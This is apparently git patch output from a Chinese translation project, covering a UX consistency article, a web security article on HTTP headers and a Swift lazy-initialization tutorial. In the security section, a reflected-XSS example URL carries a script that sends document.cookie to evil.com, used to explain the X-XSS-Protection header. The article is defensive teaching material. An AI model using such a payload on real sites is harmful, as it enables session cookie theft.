+The essence of being consistent is to be able to replicate the same action or element multiple times, and still be able to support the user with achieving the task.
+
+#### Visuals ####
+
+Typography, colors, space, grid, size and positions. These elements need to be defined in one central place and then used across the system you’re designing.
+
+Define strong visual hierarchy, the most important things are bigger than the less important ones. Use the same color palette across the product. Padding and margins need to be consistent in all similar elements (*buttons, cards and etc.*). Everything should be ordered in a grid of your choice that allows arrangement of all components in a nice and aesthetic way.
+
+Having consistent visuals will allow the user to learn the system quickly and have a smooth experience. Your design will gain nice [Feng Shui](https://en.wikipedia.org/wiki/Feng_shui) when you use consistent visuals. :)
+
+Here is a nice source with examples of style guidelines:
+
+[![Markdown](http://i2.muimg.com/1949/2513ad15794cb4bc.png)](http://styleguides.io/examples.html) 
+
+#### Voice and tone ####
+
+The language and tone you use throughout the user flow influences how your user perceives the product. Keep the voice and tone consistent so it feels as one voice speaking to the user. We don't want them to hear many voices, do we? :)
+
+If you want to keep funny and friendly voice in your product design keep it all the way up til the error and fail messages. [MailChimp](https://mailchimp.com) is a nice example of consistent voice and tone.
+
+![](https://cdn-images-1.medium.com/max/800/1*FoyYzFbv7N85ot68ZTbDkQ.png)
+
+[http://styleguide.mailchimp.com/voice-and-tone/](http://styleguide.mailchimp.com/voice-and-tone/)
+
+#### Use familiar patterns ####
+
+People who will be using our designs be it digital or not, have been around for some time. This means they have experienced and learned other designs, and know the patterns used in them.
+
+![](https://cdn-images-1.medium.com/max/800/1*Rgnuo5cD1ArXf6G-JNEflA.png)
+
+[http://www.mobile-patterns.com/](http://www.mobile-patterns.com/) 
+
+We should take advantage of that and incorporate familiar patterns into our designs. The user journey will be much smoother and people won’t even stop to think “Hmm, how do I use this?”, they will directly use it.
+
+Here are two nice sources to look into patterns out of many:
+
+[![Markdown](http://i2.muimg.com/1949/738d30cf07aca807.png)](http://www.mobile-patterns.com/) 
+
+[![Markdown](http://i2.muimg.com/1949/dfb6e38bc4c887ba.png)](http://ui-patterns.com/patterns)
+
+### Bend consistency, don’t break it ###
+
+You might argue that consistency could bore the heck out of the user. If we keep things always consistent there will be almost no innovation.
+
+![](https://cdn-images-1.medium.com/max/800/1*cwiC9HGtMDGC2JKf1HnCNg.gif)
+
+We first need to learn the rules before we bend them. **Yes, bend not break them!** Broken consistency equals broken design and user experience.
+
+It is a pain for both the user and the organization. Design process gets slowed down. Tons of money get burned to pay people to argue in meeting rooms over what color is best for that button. Everybody loses precious time to make decisions that should have been made already and just be reused now.
+
+**Designers should preserve and build the consistency as much as possible.**
+
+Keeping things consistent means change will be slowed down. Still, we need our product to be enjoyable and delightful. We need them to evolve to a better version.
+
+So, how do we keep consistent and still get to where we want to be and drive change?
+
+The “secret” is in understanding your users. All your design decisions should come from that understanding. Make adjustments to the already established and consistent design system only when they are informed by your user’s needs. Making these small changes will evolve the product into a better version and will keep the consistency.
+
+### Final thoughts ###
+
+Align your design with your user expectations. Know your users as you know your partner. Be capable of looking through their eyes and feel through their hearts. Become one with them.
+
+Combine that with great understanding of the design fundamentals like visual hierarchy, typography, usability patterns and etc. **Remember, little change is good, more change is not necessarily better!**
+
+Create consistency to improve usability and to create delight by reducing unwanted surprises.
+
+#### Call to action ####
+
+*If you found this article useful* ***tap the*** *so others can enjoy it, too.*
+
+*Thanks for your time! Connect with me on* [*LinkedIn*](https://www.linkedin.com/in/antonnikolov/)  and [*Twitter*](https://twitter.com/ainikolov).
+
+*Previous design principles*
+
+[![Markdown](http://i2.muimg.com/1949/2237ed46c68ef3e2.png)](https://uxplanet.org/design-principle-cognitive-dissonance-a01dffe81f58) 
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 9719c5fc7cbfe6eeb998f45f9faa203e8aeb987b Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Wed, 12 Apr 2017 23:48:38 +0800
Subject: [PATCH 138/638] translation 75%

---
 TODO/secure-web-app-http-headers.md | 46 +++++++++++++++++++----------
 1 file changed, 31 insertions(+), 15 deletions(-)

diff --git a/TODO/secure-web-app-http-headers.md b/TODO/secure-web-app-http-headers.md
index 17aad2f24b1..af59d9b41f1 100644
--- a/TODO/secure-web-app-http-headers.md
+++ b/TODO/secure-web-app-http-headers.md
@@ -143,13 +143,17 @@ function requestHandler(req, res){
 }
 ```
 
-### Enabling XSS Filtering ###
+### 启用 XSS 过滤 ###
 
-In a reflected cross-site scripting attack (reflected XSS), an attacker injects malicious JavaScript code into an HTTP request, with the injected code “reflected” in the response and executed by the browser rendering the response, enabling the malicious code to operate within a trusted context, accessing potentially confidential information such as session cookies. Unfortunately, XSS is a pretty common web app attack, and a surprisingly effective one!
+> In a reflected cross-site scripting attack (reflected XSS), an attacker injects malicious JavaScript code into an HTTP request, with the injected code “reflected” in the response and executed by the browser rendering the response, enabling the malicious code to operate within a trusted context, accessing potentially confidential information such as session cookies. Unfortunately, XSS is a pretty common web app attack, and a surprisingly effective one!
 
-To understand a reflected XSS attack, consider the Node.js code below, rendering mywebapp.com, a mock and intentionally simple web app that renders search results alongside the search term requested by the user:
+在反射型跨站脚本攻击（reflected XSS）中，攻击者将恶意 JavaScript 代码注入到 HTTP 请求，注入的代码「映射」到响应中，并由浏览器执行，从而使恶意代码在可信任的上下文中执行，访问诸如会话 cookie 的潜在机密信息。不幸的是，XSS 是一个很常见的网络应用程序，且令人惊讶地有效！
 
-```
+>To understand a reflected XSS attack, consider the Node.js code below, rendering mywebapp.com, a mock and intentionally simple web app that renders search results alongside the search term requested by the user:
+
+为了了解反射型 XSS 攻击，参考以下 Node.js 代码，渲染 `mywebapp.com` 一个模拟并有意简单的 web 应用程序，它将搜索结果以及用户请求的搜索关键词一起呈现：
+
+```javascript
 function handleRequest(req, res) {
     res.writeHead(200);
 
@@ -169,36 +173,48 @@ function handleRequest(req, res) {
 };
 ```
 
-Now, consider how will the web app above handle a URL constructed with malicious executable code embedded within the URL, such as this:
+>Now, consider how will the web app above handle a URL constructed with malicious executable code embedded within the URL, such as this:
+
+现在，来考虑一下上面的 web 应用程序会如何处理在 URL 中嵌入的恶意可执行代码，例如：
 
 ```
 https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>
 ```
 
-As you may realize, this URL will make the browser run the injected script and send the user’s cookies, potentially including confidential session cookies, to evil.com!
+> As you may realize, this URL will make the browser run the injected script and send the user’s cookies, potentially including confidential session cookies, to evil.com!
+
+你可能意识到了，这个 URL 会让浏览器执行注入的脚本，并发送用户的 cookies，极有可能包含机密的会话 cookie，至 evil.com。
 
-To help protect users against reflective XSS attacks, some browsers have implemented protection mechanisms. These mechanisms try to identify these attacks by looking for matching code patterns in the HTTP request and response. Internet Explorer was the first browser to introduce such a mechanism with its XSS filter, introduced in Internet Explorer 8 back in 2008, and WebKit later introduced XSS Auditor, available today in Chrome and Safari. (Firefox has no similar mechanism built in, but users can use add-ons to gain this functionality.) These various protection mechanisms are not perfect: They may fail to detect a real XSS attack (a false negative), and in other cases may block legitimate code (a false positive). Due to the latter, browsers allow users to disable the XSS filter via the settings. Unfortunately, this is typically a global setting, which turns off this security feature completely for all web apps loaded by the browser.
+> To help protect users against reflective XSS attacks, some browsers have implemented protection mechanisms. These mechanisms try to identify these attacks by looking for matching code patterns in the HTTP request and response. Internet Explorer was the first browser to introduce such a mechanism with its XSS filter, introduced in Internet Explorer 8 back in 2008, and WebKit later introduced XSS Auditor, available today in Chrome and Safari. (Firefox has no similar mechanism built in, but users can use add-ons to gain this functionality.) These various protection mechanisms are not perfect: They may fail to detect a real XSS attack (a false negative), and in other cases may block legitimate code (a false positive). Due to the latter, browsers allow users to disable the XSS filter via the settings. Unfortunately, this is typically a global setting, which turns off this security feature completely for all web apps loaded by the browser.
 
-Luckily, there is a way for a web app to override this configuration and ensure that the XSS filter is turned on for the web app being loaded by the browser. This is done via the `X-XSS-Protection` header. This header, supported by Internet Explorer (from version 8), Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in protection mechanism and to override the browser’s local configuration.
+为了帮助保护用户抵抗反射型 XSS 攻击，有些浏览器实施了保护机制。这些保护机制尝试通过在 HTTP 请求和响应中寻找匹配的代码模式来辨识这些攻击。Internet Explorer 是第一个推出这种机制的，在 2008 年的 IE 8 中引入了 XSS 过滤器的机制，而 WebKit 后来推出了 XSS 审计，现今在 Chrome 和 Safari 上可用。（Firefox 没有内置类似的机制，但是用户可以使用插件来获得此功能）。这些保护机制并不完美，它们可能无法检测到真正的 XSS 攻击（漏报），在其他情况可能会阻止合法代码（误判）。由于后一种情况的出现，浏览器允许用户可设置禁用 XSS 过滤功能。不幸的是，这通常是一个全局设置，这会完全关闭所有浏览器加载的 web 应用程序的安全功能。
 
-`X-XSS-Protection` directives include these:
+> Luckily, there is a way for a web app to override this configuration and ensure that the XSS filter is turned on for the web app being loaded by the browser. This is done via the `X-XSS-Protection` header. This header, supported by Internet Explorer (from version 8), Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in protection mechanism and to override the browser’s local configuration.
 
-- `1` or `0`
+幸运的是，有方法可以让 web 应用程序覆盖此配置，并确保浏览器加载的 web 应用已打开 XSS 过滤器。这是通过设定 `X-XSS-Protection` 响应头来达到的。此响应头支持 Internet Explorer （8以上）、Edge、Chrome 和 Safar，指示浏览器打开或关闭浏览器内置的保护机制，及覆盖浏览器的本地配置。
 
-This enables or disables the filter.
+`X-XSS-Protection` 指令包括:
+
+- `1` 或者 `0`
+
+使用或禁用 CSS 过滤器。
 - `mode=block`
 
-This instructs the browser to prevent the entire page from rendering when an XSS attack is detected.
+> This instructs the browser to prevent the entire page from rendering when an XSS attack is detected.
+
+当检测到 XSS 攻击时，这会指示浏览器不渲染整个页面。
 
-I recommend always turning on the XSS filter, as well as block mode, to maximize user protection. Such a response header looks like this:
+> I recommend always turning on the XSS filter, as well as block mode, to maximize user protection. Such a response header looks like this:
+
+我推荐永远打开 XSS 过滤器以及 block 模式，以求最大化保护用户。这样的响应头应该是这样的：
 
 ```
 X-XSS-Protection: 1; mode=block
 ```
 
-Here’s how you would configure this response header in Node.js:
+以下是在 Node.js 中配置此响应头的方法:
 
-```
+```javascript
 functionrequestHandler(req, res){
 	res.setHeader('X-XSS-Protection','1;mode=block');}
 ```

From d9d798c63b6ebe5e5b001cdc6323f7d10a4f6440 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Wed, 12 Apr 2017 23:53:12 +0800
Subject: [PATCH 139/638] Update swift-lazy-initialization-with-closures.md

---
 ...swift-lazy-initialization-with-closures.md | 230 ++++++++++--------
 1 file changed, 130 insertions(+), 100 deletions(-)

diff --git a/TODO/swift-lazy-initialization-with-closures.md b/TODO/swift-lazy-initialization-with-closures.md
index 051ab41f287..41885f1449f 100644
--- a/TODO/swift-lazy-initialization-with-closures.md
+++ b/TODO/swift-lazy-initialization-with-closures.md
@@ -1,23 +1,23 @@
-> * 原文地址：[Swift Lazy Initialization with Closures](https://blog.bobthedeveloper.io/swift-lazy-initialization-with-closures-a9ef6f6312c)
-> * 原文作者：[Bob Lee](https://blog.bobthedeveloper.io/@bobthedev)
-> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 原文地址：[Swift Lazy Initialization with Closures][1]
+> * 原文作者：[Bob Lee][2]
+> * 译文出自：[掘金翻译计划][3]
+> * 译者：[lsvih][4]
 > * 校对者：
 
 
-# Swift Lazy Initialization with Closures #
+# 在 Swift 中使用闭包实现懒加载
 
-## Learn how to create objects with modularity and readability ##
+## 学习如何兼顾模块化与可读性来创建对象
 
 ![](https://cdn-images-1.medium.com/max/2000/1*KNmIy5QAOeokXPW86TtVyA.png)
 
-Magic Keyboard 2 and Magic Mouse 2
+（图为苹果的 Magic Keyboard 2 与 Magic Mouse 2）
 
-*Welcome my lovely readers. Good to see you here today. For those who are new, I’m Bob. Just for real quick, if you wish to be on my mailing list, you can sign up* [*here*](https://boblee.typeform.com/to/oR9Nt2) *and get more value for your learning with iOS development :)*
+*亲爱的读者你们好！我是 Bob，很高兴能在这篇文章中与你们相遇！如你想加入我的邮件列表，获取更多学习 iOS 开发的文章，请点击*[*这儿*][5]*注册，很快就能完成的哦 :)*
 
-### Motivation ###
+### 动机
 
-In the beginning of my iOS journey, I followed tutorials on YouTube. I saw a few using something like below to create UI objects.
+在我刚开始学习 iOS 开发的时候，我在 YouTube 上找了一个教程。我发现这个教程有时候会用下面这种方式来创建 UI 对象:
 
 ```
 let makeBox: UIView = {
@@ -26,42 +26,42 @@ let makeBox: UIView = {
 }()
 ```
 
-As a learner, I copied the practice and used it. One day, however, one of my readers asked me, “why do you add `{}` and why does `()` exist at the end? Is it a computed property?” I could not answer. I was a zombie.
+作为一个初学者，我自然而然地复制并使用了这个例子。直到有一天，我的一个读者问我：“为什么你要加上`{}`呢？最后为什么要加上一对`()`呢？这是一个计算属性吗？”我哑口无言，因为我自己也不知道答案。
 
-I wrote this tutorial for my younger self. Yet, some may find it useful.
+因此，我为过去年轻的自己写下了这份教程。说不定还能帮上其他人的忙。
 
-### Objectives ###
+### 目标
 
-There are three objectives. First, understand how to initialize an object using the unconventional way as shown above. Second, learn when to use `lazy var` in Swift. Last, join my mailing list.
+这篇教程有一下三个目标：第一，了解如何像前面的代码一样，非常规地创建对象；第二，知道编在写 Swfit 代码时，什么时候该使用 `lazy var`；第三，快加入我的邮件列表呀。
 
-#### Prerequisites ####
+#### 预备知识
 
-To fully enjoy the ride with me, I highly recommend you to be familiar with the topics below.
+为了让你能轻松愉快地和我一起完成这篇教程，我强烈推荐你先了解下面这几个概念。
 
-1. [*Closures*](https://blog.bobthedeveloper.io/no-fear-closure-in-swift-3-with-bob-72a10577c564)
-2. [*Capture List and retention cycle [weak self]*](https://blog.bobthedeveloper.io/swift-retention-cycle-in-closures-and-delegate-836c469ef128)
-3. *Descent Object Oriented Programming*
+1. [*闭包*][6]
+2. [*捕获列表与保留周期 \[weak self]*][7]
+3. *面向对象程序设计*
 
-### Create UI Components ###
+### 创建 UI 组件
 
-Before I explain the unconventional method above, let’s look into your past. In order to create a button in Swift, you probably have done something like this,
+在我介绍“非常规”方法之前，让我们先复习一下“常规”方法。在 Swift 中，如果你要创建一个按钮，你应该会这么做：
 
 ```
-// Determine Size
+// 设定尺寸
 let buttonSize = CGRect(x: 0, y: 0, width: 100, height: 100)
 
-// Create Instance
+// 创建控件
 let bobButton = UIButton(frame: buttonSize)
 bobButton.backgroundColor = .black
 bobButton.titleLabel?.text = "Bob"
 bobButton.titleLabel?.textColor = .white
 ```
 
-This is *Okay.*
+这样做**没问题**。
 
-Assume, you have to create three other buttons, you probably have to copy the code above and then change the name from `bobButton` to `bobbyButton`.
+假设现在你要创建另外三个按钮，你很可能会把上面的代码复制，然后把变量名从 `bobButton` 改成 `bobbyButton`。
 
-It’s quite tedious.
+这未免也太单调了吧。
 
 ```
 // New Button 
@@ -71,13 +71,13 @@ bobbyButton.titleLabel?.text = "Bob"
 bobbyButton.titleLabel?.textColor = .white
 ```
 
-To make things just a bit easier, you may
+为了方便，你可以：
 
 ![](https://cdn-images-1.medium.com/max/800/1*oDIPy0i4YzUnKVR4XYI4kg.gif)
 
-This works too with the keyboard shortcut: ctrl-cmd-e
+使用快捷键：ctrl-cmd-e 来完成这个工作。
 
-If you don’t wish to repeat yourself, you may create a function instead.
+如果你不想做重复的工作，你也可以创建一个函数。
 
 ```
 func createButton(enterTitle: String) -> UIButton {
@@ -86,27 +86,26 @@ func createButton(enterTitle: String) -> UIButton {
  button.titleLabel?.text = enterTitle
  return button
 }
-
 createButton(enterTitle: "Yoyo") //  👍
 ```
 
-However, in iOS development, it is rare that custom buttons look similar. Therefore, a function may require a lot more parameters including background color, title, border radius, shadow, and so on. You function may end up looking like,
+然而，在 iOS 开发中，很少会看到一堆一模一样的按钮。因此，这个函数需要接受更多的参数，如背景颜色、文字、圆角尺寸、阴影等等。你的函数最后可能会变成这样：
 
 ```
 func createButton(title: String, borderWidth: Double, backgrounColor, ...) -> Button 
 ```
 
-The code above is not ideal even if you add default parameters to the function. It decreases readability. Therefore, it’s better to stay with the tedious method above.
+但是，上面的代码并不理想。即使你为这个函数加上了默认参数，它的可读性很差。因此，比起这个方法，我们还是采用上面那个”单调“的方法为妙。
 
-But, is there any way we can make it less tedious and more organized? Of course. We’ve looked into your past — It’s time to step up and look into your future.
+到底有没有办法让我们既不那么无聊，还能让代码更有条理呢？当然咯。我们现在只是复习你过去的做法——是时候更上一层楼，展望你未来的做法了。
 
-### Introducing the Unconventional Way ###
+### 介绍”非常规“方法
 
-Before we create UI components with the unconventional way, let’s first answer the initial questions my reader asked. What does `{}` mean, and is it a `computed property`?
+在我们使用”非常规“方法创建 UI 组件之前，让我们先回答一下最开始那个读者的问题。`{}`是什么意思，它是一个`计算属性`吗？
 
-*Nope, it’s just a* ***closure block***.
+*当然不是，它只是一个* ***闭包***。
 
-First, let’s demonstrate how to create an object using a closure. We will design a struct called `Human`.
+首先，让我来示范一下如何用闭包来创建一个对象。我们设计一个名为`Human`的结构：
 
 ```
 struct Human {
@@ -116,7 +115,7 @@ struct Human {
 }
 ```
 
-Now, this is how you create an object with a closure
+现在，让你看看怎么用闭包创建对象：
 
 ```
 let createBob = { () -> Human in
@@ -127,11 +126,11 @@ let createBob = { () -> Human in
 let babyBob = createBob() // "Born 1996"
 ```
 
-*If the syntax above doesn’t look familiar to you, you may stop reading now, and go to* [*Fear No Closure with Bob*](https://blog.bobthedeveloper.io/no-fear-closure-in-swift-3-with-bob-72a10577c564) *, and bring some bullets.*
+*如果你不熟悉这段语法，请先停止阅读这篇文章，去看看* [*Fear No Closure with Bob*][8] *充充电吧。*
 
-Just to explain, `createBob` is a closure whose type is `() -> Human`. You’ve created an instance called, `babyBob` by calling `createBob()` .
+解释一下，`createBob` 是一个类型为 `()-> Human` 的闭包。你已经通过调用 `createBob()` 创建好了一个 `babyBob` 实例。
 
-However, you had to create two constants: `createBob` and `babyBob`. What if you want to do everything in a single statement? Here you go.
+然而，这样做你创建了两个常量：`createBob` 与 `babyBob`。如何把所有的东西都放在一个声明中呢？请看：
 
 ```
 let bobby = { () -> Human in
@@ -140,11 +139,11 @@ let bobby = { () -> Human in
 }()
 ```
 
-Now, the closure block executes itself through adding `()` at the end and `bobby` now has a `Human` object attached. Pretty good stuff.
+现在，这个闭包通过在最后加上 `()` 执行了自己，`bobby` 现在附上了一个 `Human` 对象。干的漂亮！
 
-**You’ve learned how to initialize an object with a closure block.**
+**现在你已经学会了使用闭包来创建一个对象**
 
-Now, let’s apply to creating an UI object which should be similar to the example right above.
+让我们应用这个方法，模仿上面的例子来创建一个 UI 对象吧。
 
 ```
 let bobView = { () -> UIView in
@@ -153,8 +152,7 @@ let bobView = { () -> UIView in
  return view
 }()
 ```
-
-Great, we can make it shorter. In fact, we don’t need to specify the type of the closure block. Instead, all we have to do is specify the type of the instance, `bobView`, for example.
+很好，我们还能让它更简洁。实际上，我们不需要为闭包指定类型，我们只需要指定 `bobView` 实例的类型就够了。例如：
 
 ```
 let bobbyView: **UIView** = {
@@ -164,17 +162,17 @@ let bobbyView: **UIView** = {
 }()
 ```
 
-Swift is able to infer that the closure block is `() -> UIView` based on the keyword, `return`.
+Swift 能够通过关键字 `return` 推导出这个闭包的类型是 `() -> UIView`。
 
-Now, take a look. The example right above should look identical to the “unconventional way” I feared.
+现在看看，上面的例子已经和我之前害怕的“非常规方式”一样了。
 
-### Benefits of Init with Closures ###
+### 使用闭包创建的好处
 
-We discussed the tediousness of creating objects and the problem that arises from using a function. In your head, you must be thinking, “why should I use a closure block instead?”
+我们已经讨论了：直接创建对象是很单调无聊的，使用函数构造是会出现问题的。现在你可能会想“为什么我非得用闭包来创建？”
 
-#### Easy to Duplicate ####
+#### 重复起来更容易
 
-I don’t like to use Storyboard, I love copy and pasting UI objects. In fact, I’ve a “library” of code in my computer. Let us assume that there is a button as shown below in the library.
+我不喜欢用 Storyboard，我比较喜欢复制粘贴 UI 对象。实际上，在我电脑里有一个“库”的代码。假设库里有个按钮，代码如下：
 
 ```
 let myButton: UIButton = {
@@ -188,14 +186,14 @@ return button
 }()
 ```
 
-All I have to do is copy the entire lines, and then just change the name of `myButton` to `newButton` for the usage. Had I not used the closure method, I probably had to change the name of `button` to `newButton` 7–8 times. We could use the Xcode shortcut above, but why not make it just simpler.
+我只需要把它整个复制，然后把名字从 `myButton` 改成 `newButtom` 就行了。在我用闭包之前，我得重复地把 `myButton` 改成 `newButtom` ，甚至要改上七八遍。我们虽然可以用 Xcode 的快捷键，但为啥不使用闭包，让这件事更简单呢？
 
-#### Look Cleaner ####
+#### 看起来更干净
 
-Since objects are grouped together, it feels cleaner based on my eyes. Let’s compare
+由于对象对象会自己编好组，在我看来它更加的干净。让我们对比一下：
 
 ```
-// Init with Closure 
+// 使用闭包创建 
 let leftCornerButton: UIButton = {
  let button = UIButton(frame: buttonSize)
  button.backgroundColor = .black
@@ -220,7 +218,7 @@ return button
 vs
 
 ```
-// Init With Fingers 
+// 使用我的手指创建.. 
 let leftCornerButton = UIButton(frame: buttonSize)
 leftCornerButton.backgroundColor = .black
 leftCornerButton.titleLabel?.text = "Button"
@@ -236,81 +234,81 @@ rightCornerButton.layer.cornerRadius =
 rightCornerButton.layer.masksToBounds = true
 ```
 
-Although creating an object with the closure add a couple lines more, I feel less overwhelmed since I only have to add attributes to `button` rather than `rightCornerButton` or `leftCornerButton`.
+虽然使用闭包创建对象甚至还多出了一行，但是比起要在 `rightCornerButton` 或者 `leftCornerButton` 后面狂加属性，我还是更喜欢在 `button` 后面加属性。
 
-*In fact, if the name of a button gets more descriptive, often times it requires fewer lines to create an object with a closure block.*
+*实际上如果按钮的命名特别详细时，用闭包创建对象还可以少几行。*
 
-**You’ve accomplished the first objective. Congratulations**
+**恭喜你，你已经完成了我们的第一个目标**
 
-### Lazy Init Application ###
+### 懒加载的应用
 
-You’ve come a long way. It’s time to meet the second objective of this tutorial.
+辛苦了！现在让我们来看看这个教程的第二个目标把。
 
-You might have seen something like this below
+你可能看过与下面类似的代码：
 
 ```
 class IntenseMathProblem {
- lazyvar complexNumber: Int = {
-  // imagine it requires a lot of CPU
+ lazy var complexNumber: Int = {
+  // 请想象这儿要耗费很多CPU资源
   1 * 1
  }()
 }
 ```
 
-What `lazy` allows you to do is, the `complexNumber` property will be only calculated when you try to access it. For example,
+`lazy` 的作用是，让 `complexNumber` 属性只有在你试图访问它的时候才会被计算。例如：
 
 ```
 let problem = IntenseMathProblem 
-problem()  // No value for complexNumber 
+problem()  // 此时complexNumber没有值
 ```
 
-Currently, there is no value for `complexNumber`. However, once you access the property,
+没错，现在 `complexNumber` 没有值。然而，一旦你访问这个属性：
 
 ```
-problem().complexNumber // Now returns 1
+problem().complexNumber // 现在回返回1
 ```
 
-The `lazy var` is often used to sort database and fetch data from any backend services because you definitely don’t want to calculate and sort everything when you create an object.
+`lazy var` 经常用于数据库排序或者从后端取数据，因为你并不想在创建对象的时候就把所有东西都计算、排序。
 
-*In fact, your phone will crash since the object is super bloated and the RAM can’t handle.*
+*实际上，由于对象太大了导致 RAM 撑不住，你的手机就会崩溃。*
 
-### Application ###
+### 应用
 
-Below is just an application of `lazy var`.
+以下是 `lazy var` 的应用：
 
-#### Sorting ####
+#### 排序
 
 ```
 class SortManager {
  lazy var sortNumberFromDatabase: [Int] = {
-  // Sorting logic
+  // 排序逻辑
   return [1, 2, 3, 4]
  }()
 }
 ```
 
-#### Image Compression ####
+#### 图片压缩
 
 ```
 class CompressionManager {
  lazy var compressedImage: UIImage = {
   let image = UIImage()
-  // Compress the image
-  // Logic
+  // 压缩图片的
+  // 逻辑
   return image
  }()
 }
 ```
 
-### Rules with `Lazy` ###
+### `Lazy`的一些规定
 
-1. You can’t use `lazy` with `let` since there is no initial value, and it is attained later when it is accessed.
-2. You can’t use it with a `computed property` since computed property is always recalculated (requires CPU) when you modify any of the variables that has a relationship with the `lazy` property.
-3. `Lazy` is only valid for members of a struct or class
+1. 你不能把 `lazy` 和 `let` 一起用，因为用 `lazy` 时没有初值，只有当被访问时才会获得值。
+2. 你不能把它和 `计算属性` 一起用，因为在你修改任何与 `lazy` 的计算属性有关的变量时，计算属性都会被重新计算（耗费 CPU 资源）。
+3. `Lazy` 只能是结构或类的成员。
 
-### Does Lazy Capture? ###
+### Lazy 能被捕获吗？
 
-So, if you’ve read the previous article on [Retention Cycle in Closures and Delegate](https://blog.bobthedeveloper.io/swift-retention-cycle-in-closures-and-delegate-836c469ef128) , you might wonder. Let’s test it out. Create a class called `BobGreet`. It has two properties: `name` whose type is `String` and `greeting` whose type is also `String` but initialized with a closure block.
+如果你读过我的前一篇文章[《Swift 闭包和代理中的保留周期》][9]，你就会明白这个问题。让我们试一试吧。创建一个名叫 `BobGreet` 的类，它有两个属性：一个是类型为 `String` 的 `name`，一个是类型为 `String` 但是使用闭包创建的 `greeting`。
 
 ```
 class BobGreet {
@@ -320,43 +318,75 @@ class BobGreet {
  }()
 
 deinit { 
-  print("I'm gone, bruh 🙆&zwj;")}
+  print("I'm gone, bruh 🙆")}
  }
 }
 ```
 
-The closure block *might* have a strong reference to `BobGuest` but let’s attempt to deallocate.
+闭包**可能**对 `BobGuest` 有强引用，让我们尝试着 deallocate 它。
 
 ```
 var bobGreet: BobGreet? = BobClass()
 bobGreet?.greeting
-bobClass = nil // I'm gone, bruh 🙆&zwj;
+bobClass = nil // I'm gone, bruh 🙆
 ```
 
-No need to worry about `[unowned self]` The closure block does not have a reference to the object. Instead, it just copies `self` within the closure block. If you are confused by the previous statement, feel free to read [Swift Capture Lists](https://blog.bobthedeveloper.io/swift-capture-list-in-closures-e28282c71b95) to learn more. 👍
+不用担心 `[unowned self]`，闭包并没有对对象存在引用。相反，它仅仅是在闭包内复制了 `self`。如果你对前面的代码声明有疑问，放松一会儿，读读 [Swift Capture Lists][10] 来了解更多这方面的知识。👍
 
-### Last Remarks ###
+### 最后的唠叨
 
-I learned a quite a bit while preparing for this tutorial. I hope you did as well. I’d appreciate your genuine fat ❤️. But, there is just one more. As the last objective, if you wish to on my mailing list and receive greater value from me, you can sign up right [**here**](https://boblee.typeform.com/to/oR9Nt2) .
+我在准备这篇教程的过程中也学到了很多，希望你也一样。感谢你们的热情❤️！不过这篇文章还剩一点：我的最后一个目标。如果你希望加入我的邮件列表以获得更多有价值的信息的话，你可以点 [**这里**][11]注册。
 
-As you can see by the cover photo, I recently bought Magic Keyboard and Mouse. They are pretty good and increase my productivity a lot. You can get the mouse [here](http://amzn.to/2noHxgl)  or the keyboard [here](http://amzn.to/2noHxgl). I never regret despite the price. 😓
+正如封面照片所示，我最近买了 Magic Keyboard 和 Magic Mouse。它们超级棒，帮我提升了很多的效率。你可以在 [这儿][12]买鼠标，在 [这儿][13]买键盘。我才不会因为它们的价格心疼呢。😓
 
-> [Source Code](https://github.com/bobthedev/Blog_Lazy_Init_with_Closures) 
+> [本文的源码][14] 
 
-### Swift Conference I Will Join ###
+### 我将要参加 Swift 讨论会 
 
-I will be joining my first conference @[SwiftAveir](https://twitter.com/SwiftAveiro) o from June 1–2. A friend of mine, [Joao](https://twitter.com/NSMyself) , is helping organize the conference, so I’m super excited. You can learn more about the event [here](http://swiftaveiro.xyz) !
+我将在 6 月 1 日至 6 月 2 日 参加我有生以来的第一次讨论会 @[SwiftAveir][15]， 我的朋友 [Joao][16]协助组织了这次会议，所以我非常 excited。你可以点[这儿][17]了解这件事 的详情！
 
-#### Recommended Articles ####
+#### 文章推荐
 
-> Intro to Functional Programming ([Blog](https://blog.bobthedeveloper.io/intro-to-swift-functional-programming-with-bob-9c503ca14f13))
+> 函数式编程简介 ([Blog][18])
 
-> My Favorite Xcode Shortcuts ([Blog](https://blog.bobthedeveloper.io/intro-to-swift-functional-programming-with-bob-9c503ca14f13) )
+> 我最爱的 XCode 快捷键 ([Blog][19] )
 
-### Bob the Developer ###
+### 关于我 
 
-I’m an iOS instructor from Seoul, 🇰🇷. Feel free to get to know me on [Instagram](https://instagram.com/bobthedev) . I post regular updates on [Facebook Page](https://facebook.com/bobthedeveloper)  and 🖨 on Sat 8pm EST.
+我是一名来自首尔的 iOS 课程教师，你可以在 [Instagram][20] 上了解我。我会经常在 [Facebook Page][21] 投稿，投稿时间一般在北京时间上午9点（Sat 8pm EST）。
 
 ---
 
-> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
+> [掘金翻译计划][22] 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金][23] 上的英文分享文章。内容覆盖 [Android][24]、[iOS][25]、[React][26]、[前端][27]、[后端][28]、[产品][29]、[设计][30] 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划][31]。
